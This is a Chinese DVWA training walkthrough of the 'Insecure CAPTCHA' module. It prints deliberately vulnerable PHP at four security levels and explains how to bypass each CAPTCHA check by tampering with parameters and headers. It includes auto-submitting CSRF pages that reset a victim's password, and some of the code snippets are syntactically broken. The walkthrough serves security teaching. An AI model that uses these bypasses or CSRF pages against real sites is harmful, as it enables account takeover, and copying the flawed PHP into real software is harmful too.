Insecure CAPTCHA

Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。

reCAPTCHA验证流程

这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。

服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

recaptcha_check_answer($privkey,$remoteip, $challenge,$response)

参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :

$is_valid是布尔型的,表示校验是否有效,

$error是返回的错误代码。

(ps:有人也许会问,那这个模块的实验是不是需要科学上网呢?答案是不用,因为我们可以绕过验证码)

下面对四种级别的代码进行分析。

Low

服务器端核心代码:

<?php 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ];      // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] );      // Did the CAPTCHA fail? 
    if( !$resp->is_valid ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false
        return
    } 
    else { 
        // CAPTCHA was correct. Do both new passwords match? 
        if( $pass_new == $pass_conf ) { 
            // Show next stage for the user 
            echo " 
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> 
                <form action=\"#\" method=\"POST\"> 
                    <input type=\"hidden\" name=\"step\" value=\"2\" /> 
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> 
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> 
                    <input type=\"submit\" name=\"Change\" value=\"Change\" /> 
                </form>"; 
        } 
        else { 
            // Both new passwords do not match. 
            $html     .= "<pre>Both passwords must match.</pre>"; 
            $hide_form = false
        } 
    } 
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ];      // Check to see if both password match 
    if( $pass_new == $pass_conf ) { 
        // They do
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new );          // Update database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );          // Feedback for the end user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with the passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
        $hide_form = false
    }      mysql_close(); 
}  ?> 

可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。

漏洞利用

1.通过构造参数绕过验证过程的第一步

首先输入密码,点击Change按钮,抓包:

(ps:因为没有翻墙,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数)

更改step参数绕过验证码:

修改密码成功:

2.由于没有任何的防CSRF机制,我们可以轻易地构造攻击页面,页面代码如下(详见CSRF模块的教程)。


 

<html>

<body onload="document.getElementById('transfer').submit()">

  <div>

    <form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="step" value="2"

<input type="hidden" name="Change" value="Change">

</form>

  </div>

</body>

</html>

当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。

美中不足的是,受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。

Medium

服务器端核心代码:

<?php 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ];      // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] );      // Did the CAPTCHA fail? 
    if( !$resp->is_valid ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false; 
        return; 
    } 
    else { 
        // CAPTCHA was correct. Do both new passwords match? 
        if( $pass_new == $pass_conf ) { 
            // Show next stage for the user 
            echo " 
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> 
                <form action=\"#\" method=\"POST\"> 
                    <input type=\"hidden\" name=\"step\" value=\"2\" /> 
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> 
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> 
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> 
                    <input type=\"submit\" name=\"Change\" value=\"Change\" /> 
                </form>"; 
        } 
        else { 
            // Both new passwords do not match. 
            $html     .= "<pre>Both passwords must match.</pre>"; 
            $hide_form = false; 
        } 
    } 
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ];      // Check to see if they did stage 1 
    if( !$_POST[ 'passed_captcha' ] ) { 
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>"; 
        $hide_form = false; 
        return; 
    }      // Check to see if both password match 
    if( $pass_new == $pass_conf ) { 
        // They do
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new );          // Update database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );          // Feedback for the end user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with the passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
        $hide_form = false; 
    }      mysql_close(); 
}  ?> 

可以看到,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。

漏洞利用

1.可以通过抓包,更改step参数,增加passed_captcha参数,绕过验证码。

抓到的包:

更改之后的包:

更改密码成功:

2.依然可以实施CSRF攻击,攻击页面代码如下。

<html>

<body onload="document.getElementById('transfer').submit()">

  <div>

    <form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="passed_captcha" value="true">

<input type="hidden" name="step" value="2">

<input type="hidden" name="Change" value="Change">

</form>

  </div>

</body>

</html>

当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。

不过依然会跳转到更改密码成功的界面。

High

服务器端核心代码:

<?php 

if( isset( $_POST[ 'Change' ] ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ];      // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] );      // Did the CAPTCHA fail? 
    if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false
        return
    } 
    else { 
        // CAPTCHA was correct. Do both new passwords match? 
        if( $pass_new == $pass_conf ) { 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new );              // Update database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );              // Feedback for user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Ops. Password mismatch 
            $html     .= "<pre>Both passwords must match.</pre>"; 
            $hide_form = false
        } 
    }      mysql_close(); 

// Generate Anti-CSRF token 
generateSessionToken();  ?> 

可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

漏洞利用

搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。

第一步依旧是抓包:

更改参数recaptcha_response_field以及http包头的User-Agent:

密码修改成功:

Impossible

服务器端核心代码

if( isset( $_POST[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );      // Hide the CAPTCHA form 
    $hide_form = true;      // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_new  = stripslashes( $pass_new ); 
    $pass_new  = mysql_real_escape_string( $pass_new ); 
    $pass_new  = md5( $pass_new );      $pass_conf = $_POST[ 'password_conf' ]; 
    $pass_conf = stripslashes( $pass_conf ); 
    $pass_conf = mysql_real_escape_string( $pass_conf ); 
    $pass_conf = md5( $pass_conf );      $pass_curr = $_POST[ 'password_current' ]; 
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = mysql_real_escape_string( $pass_curr ); 
    $pass_curr = md5( $pass_curr );      // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] );      // Did the CAPTCHA fail? 
    if( !$resp->is_valid ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
        $hide_form = false
        return
    } 
    else { 
        // Check that the current password is correct 
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
        $data->execute();          // Do both new password match and was the current password correct? 
        if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { 
            // Update the database 
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
            $data->execute();              // Feedback for the end user - success! 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Feedback for the end user - failed! 
            echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>"; 
            $hide_form = false
        } 
    } 
}  // Generate Anti-CSRF token 
generateSessionToken();  ?> 

可以看到,Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证。

*本文原创作者:lonehand

转自:http://www.freebuf.com/articles/web/119692.html

DVWA之Insecure Captcha的更多相关文章

  1. DVWA 黑客攻防演练(六)不安全的验证码 Insecure CAPTCHA

    之前在 CSRF 攻击 的那篇文章的最后,我觉得可以用验证码提高攻击的难度. 若有验证码的话,就比较难被攻击者利用 XSS 漏洞进行的 CSRF 攻击了,因为要识别验证码起码要调用api,跨域会被浏览 ...

  2. DVWA全级别之Insecure CAPTCHA(不安全的验证码)

    Insecure CAPTCHA Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell ...

  3. 安全性测试入门 (五):Insecure CAPTCHA 验证码绕过

    本篇继续对于安全性测试话题,结合DVWA进行研习. Insecure Captcha不安全验证码 1. 验证码到底是怎么一回事 这个Captcha狭义而言就是谷歌提供的一种用户验证服务,全称为:Com ...

  4. DVWA-全等级验证码Insecure CAPTCHA

    DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...

  5. Insecure CAPTCHA (不安全的验证码)

    dvwa不能正常显示,需要在配置文件中加入谷歌的密钥: $_DVWA[ 'recaptcha_public_key' ] = '6LfX8tQUAAAAAOqhpvS7-b4RQ_9GVQIh48dR ...

  6. 不安全的验证码Insecure CAPTCHA

    没啥好讲的,当验证不合格时,通过burp抓包工具修改成符合要求的数据包.修改参数标志位.USER-AGENT之类的参数. 防御 加强验证,Anti-CSRF token机制防御CSRF攻击,利用PDO ...

  7. 黑客攻防技术宝典Web实战篇(二)工具篇DVWA Web漏洞学习

    DVWA是一个学习Web漏洞的很好的工具. DVWA全程是Damn Vulnerable Web Application,还有一个跟它一样好的工具尽在http://www.360doc.com/con ...

  8. 安全性测试入门:DVWA系列研究(一):Brute Force暴力破解攻击和防御

    写在篇头: 随着国内的互联网产业日臻成熟,软件质量的要求越来越高,对测试团队和测试工程师提出了种种新的挑战. 传统的行业现象是90%的测试工程师被堆积在基本的功能.系统.黑盒测试,但是随着软件测试整体 ...

  9. DVWA 黑客攻防演练(一) 介绍及安装

    原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...

随机推荐

  1. Get和Post请求方式

    Get和Post是两种不同的类型的请求. 它们主要有3点不同. 1.get请求通过浏览器地址栏传递表单数据.post请求通过form data 传递数据,不会通过地址栏. 2.get请求安全性较低,p ...

  2. 虚拟机测试cobbler,网络安装加载最后出现 dracut:/#

    1.cobbler的几个重要概念: distro:发行版系统容,我理解为镜像来源,提供了kernel 和 initrd 文件以及repo源 profile:kickstart文件,用于定制系统,定制安 ...

  3. js mysql 时间日期比较

    js代码 1 var date1 = '2017/2/13'; 2 //var date1 = new Date().toLocaleDateString(); 3 var date2 = '2017 ...

  4. C语言中字符串详解

    C语言中字符串详解 字符串时是C语言中非常重要的部分,我们从字符串的性质和字符串的创建.程序中字符串的输入输出和字符串的操作来对字符串进行详细的解析. 什么是字符串? C语言本身没有内置的字符串类型, ...

  5. Java 并发编程小册整理好了

    Java 有并发,并发知识之大,一口吃不下 这曾是我不愿意触碰的知识角 多次一头扎进并发,无功而返 为应对面试,临时苦苦记忆,不成体系 这一次我决定从基础开始,攻克它 12,0000 字 68Mb 高 ...

  6. FreeBSD 入门导言

    →→→→→导言: 导言,这一部分通常也被称作"前言"."导论"."概论"."楔子"."写在前面".& ...

  7. MyBatis(七):MyBatis缓存详解(一级缓存/二级缓存)

    一级缓存 ​ MyBatis一级缓存上SqlSession缓存,即在统一SqlSession中,在不执行增删改操作提交事务的前提下,对同一条数据进行多次查询时,第一次查询从数据库中查询,完成后会存入缓 ...

  8. [THUPC2019] 找树

    一.题目 点此看题 二.解法 这道题很离谱啊,看上去是求一个最大值,其实是把生成树权值为 \(i\) 的个数都给算出来,因为权值很小. 既然是生成树可以考虑矩阵树定理,我们考虑他是求这样一个式子: \ ...

  9. github个人主页 阿里云域名的绑定

    域名解析 我在阿里云上买了一个新域名:gaolu.name,我已经在GitHub Pages上建立了自己的博客:http://gaolu1215.github.io.现在我希望将gaolu.name映 ...

  10. Codeforces Round #574 (Div. 2) E. OpenStreetMap 【单调队列】

    一.题目 OpenStreetMap 二.分析 对于二维空间找区间最小值,那么一维的很多好用的都无法用了,这里可以用单调队列进行查找. 先固定一个坐标,然后进行一维的单调队列操作,维护一个区间长度为$ ...